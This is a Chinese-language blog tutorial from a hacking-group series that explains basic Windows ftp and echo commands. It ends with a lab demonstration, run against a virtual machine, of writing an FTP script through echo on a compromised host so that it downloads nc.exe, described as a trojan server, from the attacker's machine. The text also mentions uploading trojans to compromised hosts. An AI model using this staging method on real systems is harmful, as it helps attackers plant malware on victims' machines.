« SEO校内整理:常用DOS命令(二)批处理写QQ强制聊天 »

SEO校内整理:常用DOS命令(三)

本内容由 SEO校内整理
感谢龙域网安

一,ftp   

  大家对这个命令应该比较熟悉了吧?windows系统的内部命令。网络上开放的ftp的主机很多,其中很大一部分是匿名的,也就是说任何人都可以登陆上去。现在如果你扫到了一台开放ftp服务的主机(一般都是开了21端口的机器),如果你还不会使用ftp的命令怎么办?下面就给出基本的ftp命令使用方法。 这里用一个小工具做下演示,FtpServer.exe

  首先打开我们的ftp服务器,设置好密码后用虚拟机登录:命令行下输入 ftp ip
如: ftp 192.168.174.1, 
用户名和密码都是longyu,密码是不显示的。当提示**** logged in时,就说明登陆成功。

       用?查看帮助

  大家可能看到了,这么多命令该怎么用?其实也用不到那么多,掌握几个基本的就够了。     

  接下来就要介绍具体命令的使用方法了。   

  dir 跟DOS命令一样,用于查看服务器的文件,直接敲上dir回车,就可以看到此ftp服务器上的文件。

  cd 进入某个文件夹。

  get 下载文件到本地机器。 如:get longyu.txt c:\longyu.txt     将ftp服务器上的记事本下载到本地c盘

  put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了,如果可以上传文件,
    
      命令如下:put c:\longyu.txt 将本地文件传到ftp服务器上
因为我们进的是windows目录,所以文件就被传到windows目录里

  delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。

  bye 退出当前连接。

  quit 同上。
 
   FTP命令主要还是用来传送文件的,比如木马或是一些在肉鸡上可用的工具,如果手动上传的话有点麻烦,我们可以建一个  记事本直接用命令运行,会省很多时间,一会举个例子。

二,echo命令
echo命令主要功能简单点说就是开启或关闭批处理命令行显示在屏幕上 ,它是批处理文件的命令,也 属于内部命令
 内部命令就是常驻于内存的命令 在任意路径下输入均执行
echo命令的目的有两个:
1.避免不需要的命令显示来干扰屏幕
2.在屏幕上给用户显示提示信息

用不带参数的echo命令 则显示当前的echo状态信息

 echo+ 可以利用该命令在显示中跳过一行,在建批处理命令中有实际上的意义 如:我们想独行显示 “龙域网安” ,我们可以在 龙域网安 前一句末尾添加echo+ 则可以在下一行显示该句了 大家把下面新建为 txt 后再把后缀名改为 bat 运行下试试
echo off/on  回显的打开或关闭

@echo off
echo+
echo 龙域网安欢迎你
echo+
pause  (就是一个暂停,出现这句话:请按任意键继续. . .)

很简单 为了让你更好的理解。


echo命令的使用
1. 作为控制批处理命令在执行时是否显示命令行自身的开关

格式:echo [ on | off ]
下面看下打开和关闭的效果怎么样,看到了吧


2. 显示当前echo设置状态

格式:echo

3. 输出提示信息

格式:echo 信息内容

4. 建立新文件或增加文件内容

格式:echo 文件内容>文件名  写入,如果原文件有内容则覆盖

echo 文件内容>>文件名  追加,如果原文件有内容则追加在后面

echo [message]>[file name] 这个命令是把指定的字符串送到指定的文件中

注意说明:
“>>”将把内容将填加到文件原文件的末尾,“>”将原文件内容覆盖
(如果没有指定文件名则自动创建)

将 龙域网安 写入c:\longyu.txt ,再在后面加上欢迎你三个字(c盘没有此文本)
echo 龙域网安>c:\longyu.txt
echo 欢迎你>>c:\longyu.txt

C:\>type longyu.txt   显示该记事本文件

将龙域入侵系列教程写入longyu.txt并覆盖掉原有文字
显示longyu,txt的内容
也可以直接dos命令执行记事本程序

---------示例:---------------

好,下面我们就简单演示下用ftp和echo命令传送文件

利用FTP方式传输文件,这样比较稳定。拿到对方shell后不可能像本机那样一条命令一条命令的进行FTP操作。
可以把所有有关的FTP命令先用echo写到一个文件里(比如ftp.txt)然后用ftp -s:ftp.txt来执行ftp下载文件。 就用虚拟机当作肉鸡了,本机架设ftp
ftp.txt文件的内容:

open 192.168.174.1  FTP服务器 (前面我们是直接ftp ip的。这里我们用open ip是            因为后面的命令 ftp -s:ftp.txt 是执行的ftp命令,我们可以在虚拟机里看下
             先进入ftp命令格式,再用open  ip 和直接 ftp ip 是一样的效果)
longyu 用户名
longyu  用户密码
binary 传输模式设为二进制传输 (也可以不用)
get nc.exe 下载鸽子服务端程序
bye  退出

用echo在cmd shell里写ftp.txt文件的相应命令为 :

echo open 192.168.174.1>>ftp.txt
echo longyu>>ftp.txt
echo longyu>>ftp.txt
echo binary>>ftp.txt
echo get nc.exe>>ftp.txt
echo bye>>ftp.txt

我们去虚拟机c盘看下

当然也可以下载一些其它有用的程序到目标机上。
最后执行命令:
ftp -s:ftp.txt
本文来源于SEO校内 http://www.seoxn.org.cn/ , 原文地址:http://www.seoxn.org.cn/ComputerTechnology/diannaojishishu-dos3.html

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。